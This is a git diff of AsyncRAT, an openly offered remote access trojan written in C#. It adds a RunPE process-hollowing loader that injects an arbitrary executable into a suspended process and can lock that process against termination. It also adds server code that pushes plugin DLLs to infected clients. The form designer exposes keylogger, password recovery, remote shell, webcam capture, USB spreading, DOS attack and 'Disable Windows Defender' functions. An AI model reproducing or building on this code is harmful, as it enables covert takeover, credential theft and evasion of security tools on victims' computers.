+using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("8de42da3-be99-4e7e-a3d2-3f65e7c1abce")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs new file mode 100644 index 0000000..b6c220c --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs @@ -0,0 +1,206 @@ +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.AccessControl; +using System.Security.Principal; + +namespace Plugin +{ + public static class RunPE + { + //github.com/Artiist/RunPE-Process-Protection/blob/master/RunPE.cs + + [DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] + private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + [DllImport("kernel32.dll", EntryPoint = "GetThreadContext"), SuppressUnmanagedCodeSecurity] + private static extern bool GetThreadContext(IntPtr thread, int[] context); + [DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext"), SuppressUnmanagedCodeSecurity] + private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context); + [DllImport("kernel32.dll", EntryPoint = "SetThreadContext"), SuppressUnmanagedCodeSecurity] + private static extern bool SetThreadContext(IntPtr thread, int[] context); + [DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext"), SuppressUnmanagedCodeSecurity] + private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context); + [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory"), SuppressUnmanagedCodeSecurity] + private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory"), SuppressUnmanagedCodeSecurity] + private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + [DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection"), SuppressUnmanagedCodeSecurity] + private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress); + [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx"), SuppressUnmanagedCodeSecurity] + private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + [DllImport("kernel32.dll", EntryPoint = "ResumeThread"), SuppressUnmanagedCodeSecurity] + private static extern int ResumeThread(IntPtr handle); + [StructLayout(LayoutKind.Sequential, Pack = 2 - 1)] + private struct ProcessInformation + { + public readonly IntPtr ProcessHandle; + public readonly IntPtr ThreadHandle; + public readonly uint ProcessId; + private readonly uint ThreadId; + } + [StructLayout(LayoutKind.Sequential, Pack = 3 - 2)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 18 + 18)] private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + + public static bool Run(string path, byte[] data, bool protect) + { + for (int I = 1; I <= 5; I++) + if (HandleRun(path, data, protect)) return true; + return false; + } + + private static bool HandleRun(string path, byte[] data, bool protect) + { + int readWrite = 0; + string quotedPath = ""; + StartupInformation si = new StartupInformation(); + ProcessInformation pi = new ProcessInformation(); + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + try + { + if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi)) throw new Exception(); + int fileAddress = BitConverter.ToInt32(data, 120 / 2); + int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26); + int[] context = new int[179]; + context[0] = 32769 + 32769; + if (IntPtr.Size == 8 / 2) + { if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } + else + { if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } + int ebx = context[41]; + int baseAddress = 1 - 1; + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 4 + 4, ref baseAddress, 2 + 2, ref readWrite)) throw new Exception(); + if (imageBase == baseAddress) + if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 1 - 1) throw new Exception(); + int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 160 / 2); + int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 42 + 42); + bool allowOverride = false; + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 6144 + 6144, 32 + 32); + + if (newImageBase == 0) throw new Exception(); + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) throw new Exception(); + int sectionOffset = fileAddress + 124 * 2; + short numberOfSections = BitConverter.ToInt16(data, fileAddress + 3 + 3); + for (int I = 1 - 1; I < numberOfSections; I++) + { + int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 6 + 6); + int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 8 + 8); + int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 40 / 2); + if (sizeOfRawData != 1 - 1) + { + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(data, pointerToRawData, sectionData, 2 - 2, sectionData.Length); + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception(); + } + sectionOffset += 120 / 3; + } + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 16 / 2, pointerData, 2 * 2, ref readWrite)) throw new Exception(); + int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 80 / 2); + if (allowOverride) newImageBase = imageBase; + context[22 + 22] = newImageBase + addressOfEntryPoint; + + if (IntPtr.Size == 2 + 2) + { + if (!SetThreadContext(pi.ThreadHandle, context)) throw new Exception(); + } + else + { + if (!Wow64SetThreadContext(pi.ThreadHandle, context)) throw new Exception(); + } + if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception(); + if (protect) Protect(pi.ProcessHandle); + } + catch + { + Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill(); + return false; + } + return true; + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor, uint nLength, ref uint lpnLengthNeeded); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor); + + private static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor rawSecurityDescriptor) + { + byte[] array = new byte[checked(rawSecurityDescriptor.BinaryLength - 1 + 1 - 1 + 1)]; + rawSecurityDescriptor.GetBinaryForm(array, 0); + bool flag = !SetKernelObjectSecurity(processHandle, 4, array); + if (flag) + { + throw new Win32Exception(); + } + } + + private static T InlineAssignHelper(ref T target, T value) + { + target = value; + return value; + } + + private static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) + { + byte[] array = new byte[0]; + uint bufferSize = new uint(); + GetKernelObjectSecurity(processHandle, 4, array, 0u, ref bufferSize); + if (bufferSize < 0 || bufferSize > short.MaxValue) + { + throw new Win32Exception(); + } + + bool cdt = !GetKernelObjectSecurity(processHandle, 4, InlineAssignHelper(ref array, new byte[checked((int)(unchecked((ulong)bufferSize) - 1UL) + 1 - 1 + 1)]), bufferSize, ref bufferSize); + if (cdt) + { + throw new Win32Exception(); + } + return new RawSecurityDescriptor(array, 0); + } + + private static void Protect(IntPtr processHandle) + { + RawSecurityDescriptor rawSecurityDescriptor = GetProcessSecurityDescriptor(processHandle); + rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 987135, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null)); + SetProcessSecurityDescriptor(processHandle, rawSecurityDescriptor); + } + + private enum ProcessAccessRights + { + DELETE = 65536, + ITE_OWNER = 524288, + PROCESS_ALL_ACCESS = 987135, + PROCESS_CREATE_PROCESS = 128, + PROCESS_CREATE_THREAD = 2, + PROCESS_DUP_HANDLE = 64, + PROCESS_QUERY_INFORMATION = 1024, + PROCESS_QUERY_LIMITED_INFORMATION = 4096, + PROCESS_SET_INFORMATION = 512, + PROCESS_SET_QUOTA = 256, + PROCESS_SUSPEND_RESUME = 2048, + PROCESS_TERMINATE = 1, + PROCESS_VM_OPERATION = 8, + PROCESS_VM_READ = 16, + PROCESS_VM_WRITE = 32, + READ_CONTROL = 131072, + STANDARD_RIGHTS_REQUIRED = 983040, + SYNCHRONIZE = 256, + WRITE_DAC = 262144 + } + } + +} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj b/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj new file mode 100644 index 0000000..72b2382 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/SendFile.csproj @@ -0,0 +1,59 @@ + + + + + Debug + AnyCPU + {8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} + Library + Properties + Plugin + SendFile + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Algorithm/GetHash.cs b/AsyncRAT-C#/Server/Algorithm/GetHash.cs new file mode 100644 index 0000000..fa2a3a0 --- /dev/null +++ b/AsyncRAT-C#/Server/Algorithm/GetHash.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace Server.Algorithm +{ + public static class GetHash + { + public static string GetChecksum(string file) + { + using (FileStream stream = File.OpenRead(file)) + { + SHA256Managed sha = new SHA256Managed(); + byte[] checksum = sha.ComputeHash(stream); + return BitConverter.ToString(checksum).Replace("-", String.Empty); + } + } + } +} diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 90caba4..7b90ba2 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -3,17 +3,15 @@ using System.IO; using System.Net.Sockets; using System.Windows.Forms; using Server.Handle_Packet; -using System.Security.Cryptography; using System.Drawing; using System.Diagnostics; using System.Threading; using Server.MessagePack; -using System.Text; using System.Net.Security; using System.Security.Authentication; -using System.Threading.Tasks; using Server.Algorithm; -using Server.Helper; +using Microsoft.VisualBasic; +using System.Collections.Generic; namespace Server.Connection { @@ -31,7 +29,6 @@ namespace Server.Connection public object SendSync { get; } = new object(); public long BytesRecevied { get; set; } - public Clients(Socket socket) { TcpClient = socket; @@ -92,7 +89,7 @@ namespace Server.Connection BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { - ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { ClientMS.ToArray(), this }); + ThreadPool.QueueUserWorkItem(new Packet().Read, new object[] { ClientMS.ToArray(), this }); ClientBuffer = new byte[4]; ClientMS.Dispose(); ClientMS = new MemoryStream(); @@ -119,36 +116,27 @@ namespace Server.Connection { if (LV != null) { - if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + Program.form1.BeginInvoke((MethodInvoker)(() => + { + try { - try + + lock (Settings.LockListviewClients) + LV.Remove(); + + if (LV2 != null) { - - lock (Settings.LockListviewClients) - LV.Remove(); - - if (LV2 != null) - { - lock (Settings.LockListviewThumb) - LV2.Remove(); - } - + lock (Settings.LockListviewThumb) + LV2.Remove(); } - catch { } - })); + } + catch { } + })); + new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red); } try { - TcpClient.Shutdown(SocketShutdown.Both); - } - catch { } - - try - { - SslClient?.Close(); - TcpClient?.Close(); SslClient?.Dispose(); TcpClient?.Dispose(); ClientMS?.Dispose(); @@ -197,6 +185,7 @@ namespace Server.Connection { SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); + Settings.Sent += buffer.Length; } Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); } @@ -208,5 +197,70 @@ namespace Server.Connection } } + public void CheckPlugin() // send all plugins md5 hash to client + { + try + { + List plugins = new List(); + foreach (var plugin in Settings.Plugins) + { + plugins.Add(plugin.Key); + } + if (plugins.Count > 0) + { + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("checkPlugin"); + msgPack.ForcePathObject("Hash").SetAsString(string.Join(",", plugins)); + Send(msgPack.Encode2Bytes()); + } + } + catch (Exception ex) + { + new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); + } + } + + public void SendPlugin(string hash) // client is missing some plguins, sending them + { + try + { + foreach (var plugin in Settings.Plugins) + { + if (hash == plugin.Key) + { + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); + msgPack.ForcePathObject("Dll").SetAsString(plugin.Value); + msgPack.ForcePathObject("Hash").SetAsString(plugin.Key); + Send(msgPack.Encode2Bytes()); + break; + } + } + } + catch (Exception ex) + { + new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); + } + } + + public void ReSendPAlllugins() // because we used ReSendPlugins ToolStripMenuItem + { + try + { + foreach (var plugin in Settings.Plugins) + { + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); + msgPack.ForcePathObject("Dll").SetAsString(plugin.Value); + msgPack.ForcePathObject("Hash").SetAsString(plugin.Key); + Send(msgPack.Encode2Bytes()); + } + } + catch (Exception ex) + { + new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); + } + } + } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 3103b23..4320008 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -70,7 +70,6 @@ this.getAdminPrivilegesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.blankScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.disableWindowsDefenderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.disableNetStatToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.closeToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); @@ -119,7 +118,6 @@ this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components); - this.GetThumbnails = new System.Windows.Forms.Timer(this.components); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -151,6 +149,7 @@ this.listView1.Dock = System.Windows.Forms.DockStyle.Fill; this.listView1.FullRowSelect = true; this.listView1.GridLines = true; + this.listView1.HideSelection = false; this.listView1.Location = new System.Drawing.Point(3, 3); this.listView1.Name = "listView1"; this.listView1.ShowGroups = false; @@ -210,7 +209,6 @@ // // contextMenuClient // - this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuClient.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.aBOUTToolStripMenuItem, this.toolStripSeparator2, @@ -222,20 +220,20 @@ this.toolStripSeparator1, this.bUILDERToolStripMenuItem}); this.contextMenuClient.Name = "contextMenuStrip1"; - this.contextMenuClient.Size = new System.Drawing.Size(203, 240); + this.contextMenuClient.Size = new System.Drawing.Size(195, 240); // // aBOUTToolStripMenuItem // this.aBOUTToolStripMenuItem.Image = global::Server.Properties.Resources.info; this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; - this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.aBOUTToolStripMenuItem.Text = "ABOUT"; this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(237, 6); // // sENDFILEToolStripMenuItem // @@ -244,14 +242,14 @@ this.tODISKToolStripMenuItem}); this.sENDFILEToolStripMenuItem.Image = global::Server.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.sENDFILEToolStripMenuItem.Text = "Send File"; // // tOMEMORYToolStripMenuItem // this.tOMEMORYToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tOMEMORYToolStripMenuItem.Name = "tOMEMORYToolStripMenuItem"; - this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.tOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tOMEMORYToolStripMenuItem.Text = "To Memory"; this.tOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.TOMEMORYToolStripMenuItem_Click); // @@ -259,7 +257,7 @@ // this.tODISKToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.tODISKToolStripMenuItem.Name = "tODISKToolStripMenuItem"; - this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.tODISKToolStripMenuItem.Size = new System.Drawing.Size(206, 34); this.tODISKToolStripMenuItem.Text = "To Disk"; this.tODISKToolStripMenuItem.Click += new System.EventHandler(this.TODISKToolStripMenuItem_Click); // @@ -275,14 +273,14 @@ this.webcamToolStripMenuItem}); this.monitoringToolStripMenuItem.Image = global::Server.Properties.Resources.monitoring_system; this.monitoringToolStripMenuItem.Name = "monitoringToolStripMenuItem"; - this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.monitoringToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.monitoringToolStripMenuItem.Text = "Monitoring"; // // remoteDesktopToolStripMenuItem1 // this.remoteDesktopToolStripMenuItem1.Image = global::Server.Properties.Resources.remotedesktop; this.remoteDesktopToolStripMenuItem1.Name = "remoteDesktopToolStripMenuItem1"; - this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteDesktopToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.remoteDesktopToolStripMenuItem1.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem1.Click += new System.EventHandler(this.RemoteDesktopToolStripMenuItem1_Click); // @@ -290,7 +288,7 @@ // this.keyloggerToolStripMenuItem1.Image = global::Server.Properties.Resources.logger; this.keyloggerToolStripMenuItem1.Name = "keyloggerToolStripMenuItem1"; - this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.keyloggerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.keyloggerToolStripMenuItem1.Text = "Keylogger"; this.keyloggerToolStripMenuItem1.Click += new System.EventHandler(this.KeyloggerToolStripMenuItem1_Click); // @@ -298,7 +296,7 @@ // this.passwordRecoveryToolStripMenuItem1.Image = global::Server.Properties.Resources.key; this.passwordRecoveryToolStripMenuItem1.Name = "passwordRecoveryToolStripMenuItem1"; - this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.passwordRecoveryToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.passwordRecoveryToolStripMenuItem1.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem1.Click += new System.EventHandler(this.PasswordRecoveryToolStripMenuItem1_Click); // @@ -306,7 +304,7 @@ // this.fileManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.filemanager; this.fileManagerToolStripMenuItem1.Name = "fileManagerToolStripMenuItem1"; - this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.fileManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.fileManagerToolStripMenuItem1.Text = "File Manager"; this.fileManagerToolStripMenuItem1.Click += new System.EventHandler(this.FileManagerToolStripMenuItem1_Click); // @@ -314,7 +312,7 @@ // this.processManagerToolStripMenuItem1.Image = global::Server.Properties.Resources.process; this.processManagerToolStripMenuItem1.Name = "processManagerToolStripMenuItem1"; - this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.processManagerToolStripMenuItem1.Size = new System.Drawing.Size(267, 34); this.processManagerToolStripMenuItem1.Text = "Process Manager"; this.processManagerToolStripMenuItem1.Click += new System.EventHandler(this.ProcessManagerToolStripMenuItem1_Click); // @@ -325,7 +323,7 @@ this.stopToolStripMenuItem2}); this.reportWindowToolStripMenuItem.Image = global::Server.Properties.Resources.report; this.reportWindowToolStripMenuItem.Name = "reportWindowToolStripMenuItem"; - this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.reportWindowToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.reportWindowToolStripMenuItem.Text = "Report Window"; // // runToolStripMenuItem1 @@ -346,7 +344,7 @@ // this.webcamToolStripMenuItem.Image = global::Server.Properties.Resources.webcam; this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem"; - this.webcamToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.webcamToolStripMenuItem.Size = new System.Drawing.Size(267, 34); this.webcamToolStripMenuItem.Text = "Webcam"; this.webcamToolStripMenuItem.Click += new System.EventHandler(this.WebcamToolStripMenuItem_Click); // @@ -361,14 +359,14 @@ this.executeNETCodeToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = global::Server.Properties.Resources.Miscellaneous; this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // botsKillerToolStripMenuItem // this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; - this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); // @@ -376,7 +374,7 @@ // this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; - this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); // @@ -384,7 +382,7 @@ // this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; - this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); // @@ -392,7 +390,7 @@ // this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; - this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); // @@ -400,7 +398,7 @@ // this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; - this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); // @@ -408,7 +406,7 @@ // this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; - this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); // @@ -420,11 +418,10 @@ this.chatToolStripMenuItem1, this.getAdminPrivilegesToolStripMenuItem, this.blankScreenToolStripMenuItem, - this.disableWindowsDefenderToolStripMenuItem, - this.disableNetStatToolStripMenuItem}); + this.disableWindowsDefenderToolStripMenuItem}); this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; - this.extraToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.extraToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.extraToolStripMenuItem.Text = "Extra"; // // visitWebsiteToolStripMenuItem1 @@ -475,15 +472,6 @@ this.disableWindowsDefenderToolStripMenuItem.Text = "Disable Windows Defender"; this.disableWindowsDefenderToolStripMenuItem.Click += new System.EventHandler(this.DisableWindowsDefenderToolStripMenuItem_Click_1); // - // disableNetStatToolStripMenuItem - // - this.disableNetStatToolStripMenuItem.Image = global::Server.Properties.Resources.netstat; - this.disableNetStatToolStripMenuItem.Name = "disableNetStatToolStripMenuItem"; - this.disableNetStatToolStripMenuItem.Size = new System.Drawing.Size(329, 34); - this.disableNetStatToolStripMenuItem.Text = "Disable NetStat"; - this.disableNetStatToolStripMenuItem.Visible = false; - this.disableNetStatToolStripMenuItem.Click += new System.EventHandler(this.DisableNetStatToolStripMenuItem_Click); - // // systemToolStripMenuItem // this.systemToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -491,7 +479,7 @@ this.pCToolStripMenuItem}); this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(202, 32); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.systemToolStripMenuItem.Text = "System"; // // clientToolStripMenuItem @@ -505,46 +493,46 @@ this.showFolderToolStripMenuItem}); this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; - this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Text = "Client"; // // closeToolStripMenuItem1 // this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1"; - this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34); this.closeToolStripMenuItem1.Text = "Close"; this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click); // // restartToolStripMenuItem2 // this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2"; - this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.restartToolStripMenuItem2.Text = "Restart"; 